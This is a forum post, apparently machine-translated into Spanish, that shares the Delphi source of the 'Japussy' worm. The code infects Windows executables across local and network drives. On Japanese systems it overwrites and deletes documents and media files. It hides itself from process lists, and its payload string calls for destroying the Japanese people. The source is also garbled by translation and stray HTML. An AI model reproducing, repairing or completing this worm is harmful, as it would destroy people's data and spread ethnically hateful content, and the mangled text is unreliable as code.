Todos los hermanos y hermanas mayores en línea, por favor ayúdenme, un pequeño novato.
Ya que admiras al hermano Li Jun, déjame darte el código central de panda.
Jeje.
Código: --------- ------------------------------------------------- - --------------------
Código de programa
programa Japussy;
usos p >
Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro};
const
HeaderSize = 82432 //El tamaño del virus
<; p> IconOffset = $12EB8; //El desplazamiento del icono principal del archivo PE//El tamaño obtenido al compilar en mi Delphi5 SP1 puede ser diferente en otras versiones de Delphi
// Busque la cadena hexadecimal de 2800000020 para encontrar el desplazamiento del icono principal
{
HeaderSize = 38912 //Tamaño del virus comprimido Upx
< p; > IconOffset = $92BC; //El desplazamiento del icono principal del archivo PE comprimido Upx//Uso de Upx 1.24W: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //El tamaño del icono principal del archivo PE--744 bytes
IconTail = IconOffset IconSize; el archivo PE
ID = $44444444; //Marca de infección
//Código basura para escribir
Catchword = 'Si es necesario eliminar una raza, debe ser Yamato . '
'Si un país necesita ser destruido, ¡debe ser Japón! '
'*** W32.Japussy.Worm.A ***'
{$R *.RES}
función RegisterServiceProcess(dwProcessID, dwType: Integer): Entero
stdcall 'Kernel32.dll'; //Declaración de función
var
TmpFile: string;
Si: STARTUPINFO
Pi: PROCESS_INFORMATION
<; p> IsJap: Boolean = False; // Bandera del sistema operativo japonés{ Determinar si es Win9x }
functi
en IsWin9x: booleano
var
Ver: TOSVersionInfo
comenzar
Resultado: = Falso
Ver.dwOSVersionInfoSize:= SizeOf(TOSVersionInfo);
si no GetVersionEx(Ver) entonces
Salir;
si (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) entonces //Win9x
Resultado := Verdadero
end;
{Copiar entre secuencias}
procedimiento CopyStream(Src: TStream; sStartPos: Entero; Dst: TStream;
dStartPos: Entero;
var
sCurPos: Entero
<; p>beginsCurPos:= Src.Position;
dCurPos:= Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Conde
Src.Seek(sCurPos, 0); p>Dst.Seek(dCurPos, 0);
end;
{Separe el archivo host del archivo PE infectado para su uso}
procedimiento ExtractFile( FileName: cadena);
var
sStream, dStream: TFileStream;
comenzar
probar
sStream := TFileStream.Create(ParamStr(0), fmOpenRead o fmShareDenyNone);
prueba
dStream:= TFileStream.Create(FileName, fmCreate); try
sStream.Seek(HeaderSize, 0); //Omitir la parte del virus del encabezado
dStream.CopyFrom(sStream, sStream.Size - HeaderSize
);finalmente
dStream.Free
fin
finalmente
sStream.Free;
fin;
excepto
fin
fin;
{rellenar estructura STARTUPINFO}
p
procedimiento FillStartupInfo(var Si: STARTUPINFO; Estado: Word);
begin
Si.cb:= SizeOf(Si);
Si.lpReserved:= nil;
Si.lpDesktop := nil;
Si.lpTitle := nil
Si.dwFlags := STARTF_USESHOWWINDOW
Si.wShowWindow:= Estado;
Si.cbReserved2:= 0;
Si.lpReserved2:= nil;
fin;
{Enviar correo electrónico venenoso}
procedimiento SendMail;
comenzar
//¿Qué hermano está dispuesto a completar esto?
end;
{Infectar archivo PE}
procedimiento InfectOneFile(Nombre de archivo: cadena);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt
aIcon: TIcon; , IsPE: booleano;
i: entero;
Buf: matriz[0..1] de Char
comenzar
try //Si ocurre un error, el archivo se está utilizando, salga
if CompareText(FileName, 'JAPUSSY.EXE') = 0 entonces //Si es él mismo, no se infectará p>
Salir;
p>Infectado:= False;
IsPE:= False;
SrcStream:= TFileStream.Create(FileName, fmOpenRead );
intentar
for i := 0 a $108 hacer //Verificar el encabezado del archivo PE
comenzar
SrcStream.Seek( i, soFromBeginning);
SrcStream.Read(Buf, 2);
si (Buf[0] = #80) y (Buf[1] = #69) entonces / /PE marca
comenzar
IsPE:= Verdadero; //Es un archivo PE
Romper
final; p>
end;
SrcStream.Seek(-4, soFromEnd); //Comprueba el indicador de infección
SrcStream.Read(iID, 4);
>
if (iID = ID) o (SrcStream.Size lt; 10240) entonces //Los archivos que son demasiado pequeños no están infectados
Infectado:= Verdadero;
finalmente
p>SrcStream.Free;
end;
si está infectado o (no es IsPE) entonces //Salga si está infectado o no es un archivo PE
Salir;
IcoStream:= TMemoryStream.Create;
DstStream:= TMemoryStream.Create;
probar
aIcon := TIcon.Create;
intente
//Obtenga el icono principal (744 bytes) del archivo infectado y guárdelo en la secuencia
aIcon. ReleaseHandle;
p>aIcon.Handle:= ExtractIcon(HInstance, PChar(FileName),
aIcon.SaveToStream(IcoStream);
aIcon.Free;
fin;
SrcStream:= TFileStream.Create(FileName, fmOpenRead
//Archivo de encabezado);
HdrStream:= TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//Escribe los datos antes del icono principal del virus
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//Escribe el icono principal del programa actual
CopyStream(IcoStream, 22 , DstStream, IconOffset, IconSize);
//Escribe datos entre el ícono principal del virus y la cola del virus
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize); - IconTail);
//Escribir en el programa host
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//Escribir la etiqueta infectada
DstStream.Seek(0, 2);
iID:= $44444444;
DstStream.Write(iID, 4);<
/p>
finalmente
HdrStream.Free
fin
finalmente
SrcStream.Free
IcoStream.Free
DstStream.SaveToFile(FileName); //Reemplazar el archivo host
DstStream.Free
fin; >
excepto;
end;
end;
{escribe el archivo de destino con código basura y luego elimínalo}
procedimiento SmashFile (Nombre de archivo: cadena);
var
FileHandle: Entero;
i, Tamaño, Masa, Máx., Len: Entero; >
comenzar
probar
SetFileAttributes(PChar(FileName), 0); //Eliminar atributos de solo lectura
FileHandle:= FileOpen(FileName) , fmOpenWrite); //Abre el archivo
prueba
Tamaño:= GetFileSize(FileHandle, nil); //Tamaño del archivo
i:= 0;
Aleatorizar;
Max: = Random(15); //Número aleatorio de veces para escribir código basura
si Max lt entonces
Max: = 5;
Masa := Tamaño div Max; //El tamaño de cada bloque de intervalo
Len := Longitud(Catchword
);mientras i lt ; Max do
comenzar
FileSeek(FileHandle, i * Mass, 0); //Posicionamiento
//Escribir código basura para destruir completamente el archivo Drop
FileWrite(FileHandle, Catchword, Len
Inc(i
end; finalmente
FileClose(FileHandle); //Cerrar el archivo
end;
DeleteFile(PChar(FileName)); //Eliminarlo
excepto
p>
end;
end;
{Obtener una lista de unidades grabables}
función GetDrives: cadena;
var
Tipo de disco: Palabra
D: Char
Cadena
<; p>i: Entero <;/p>
comenzar
for i := 0 a 25 hacer //Atravesar 26 letras
comenzar
D := Chr(i 65) ;
Str:= D ':';
DiskType:= GetDriveType(PChar(Str));
//Obtener disco local y disco de red
si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces
Resultado:= Resultado D
fin
fin;
{Atravesar directorios, infectar y destruir archivos}
procedure LoopFiles(Ruta, Máscara: cadena);
var
i , Recuento: Entero;
Fn, Ext: cadena;
SubDir: TStrings;
SearchRec: TSearchRec
Mensaje: TMsg;
función IsValidDir(SearchRec: TSearchRec): Entero;
comenzar
if (SearchRec.Attr lt; gt; 16) y (SearchRec.Name lt; gt; '.') y
(SearchRec.Name lt;gt; '..') entonces
Resultado:= 0 //No es un directorio
si no (SearchRec.Attr = 16) y (SearchRec.Name lt; gt; '.') y
(SearchRec.Name lt; gt; '..') entonces
Resultado:= 1 //No es el directorio raíz
else Resultado:= 2 //Es el directorio raíz
end;
begin
si (FindFirst(Path Mask, faAnyFile, SearchRec) = 0) entonces
comenzar
repetir
PeekMessage(Msg, 0, 0, 0 , PM_REMOVE); //Ajusta la cola de mensajes para evitar sospechas
si IsValidDir(SearchRec) = 0 entonces
comenzar
Fn:= Ruta SearchRec.Name ;
Ext:= UpperCase(ExtractFileExt(Fn));
si (Ext = '.EXE') o (Ext = '.SCR') entonces p>
comenzar
InfectOneFile
(Fn); //Infectar archivo ejecutable
end
else if (Ext = '.HTM') o (Ext = '.HTML') o (Ext = '.ASP) ') luego
comenzar
//Infectar archivos HTML y ASP y escribir el virus codificado en Base64
//Infectar a todos los usuarios que navegan por esta página web p>
// ¿Qué hermano mayor está dispuesto a completarlo?
end
else if Ext = '.WAB' entonces //Archivo de libreta de direcciones de Outlook
start
//Obtener correo de Outlook Dirección
end
else if Ext = '.ADC' entonces //Archivo de autocompletar dirección de Foxmail
comienza
// Obtener la dirección de correo electrónico de Foxmail
end
else if Ext = 'IND' entonces //archivo de la libreta de direcciones de Foxmail
comenzar
// Obtenga la dirección de correo electrónico de Foxmail
end
else
comience
si esJap entonces //Es un sistema operativo japonés
comenzar
si (Ext = '.DOC') o (Ext = '.XLS') o (Ext = '.MDB') o
(Ext = ' .MP3' ) o (Ext = '.RM') o (Ext = '.RA') o
(Ext = '.WMA') o (Ext = '.ZIP') o (Ext = '.RAR') o
(Ext = '.MPEG') o (Ext = '.ASF') o (Ext = '.JPG') o
(Ext = '.JPEG') o (Ext = '.GIF') o (Ext = '.SWF') o
(Ext = '.PDF') o (Ext = '.CHM') o (Ext = '.AVI') luego
SmashFile(Fn); //Destruye el archivo
end
end; > end;
//Dormir durante 200 milisegundos después de infectar o eliminar un archivo para evitar sospechas debido al alto uso de la CPU
Dormir(200);
hasta (BuscarSiguiente(BuscarRec
) lt; gt; 0);
fin
FindClose(SearchRec)
SubDir := TStringList.Create; si (FindFirst(Path '*.*', faDirectory, SearchRec) = 0) entonces
comenzar
repetir
si IsValidDir(SearchRec) = 1 entonces
SubDir.Add(SearchRec.Name);
hasta (FindNext(SearchRec) lt; gt; 0
final; p> FindClose(SearchRec);
Count:= SubDir.Count - 1;
for i:= 0 to Count do
LoopFiles(Path SubDir. Strings[i] '', Mask);
FreeAndNil(SubDir);
end
{Recorre todos los archivos del disco}
procedimiento InfectFiles;
var
DriverList: cadena;
i, Len: entero;
comenzar
si GetACP = 932 entonces //sistema operativo japonés
IsJap:= True; //¡Vete al infierno!
DriverList:= GetDrives; //Obtener la lista de discos grabables
Len:= Longitud(DriverList);
while True do //Bucle infinito< / p>
comenzar
for i := Len downto 1 do //Recorre cada unidad de disco
LoopFiles(DriverList[i] ':', '*.* ') ; //Infección
SendMail; //Enviar correos electrónicos venenosos
Sleep(1000 * 60 * 5); //Dormir durante 5 minutos
end; /p>
fin;
{Inicio del programa principal}
comenzar
si es Win9x entonces //Es Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //Registrarse como proceso de servicio
else //WinNT
comenzar
//Subproceso remoto asignado al proceso Explorer p> p>
// ¿Qué hermano está dispuesto a completarlo?
end;
//Si es el propio virus original
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 entonces
InfectFiles
//Infección y envío de correos electrónicos
else //Ha parasitado el programa host y ha comenzado a funcionar
begin
TmpFile:= ParamStr(0); archivo temporal
Eliminar(TmpFile, Longitud(TmpFile) - 4, 4);
TmpFile:= TmpFile #32 '.exe' //Archivo host real, un espacio más
ExtractFile(TmpFile); //Separación
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile ), nil, nil, True,
0, nil, '.', Si, Pi); //Crea un nuevo proceso para ejecutarlo
InfectFiles //Infecta y envía correos electrónicos
p>
fin;
fin.
~~~~~~~~~~~~~~~~~~~~~~~~
¡Terminado!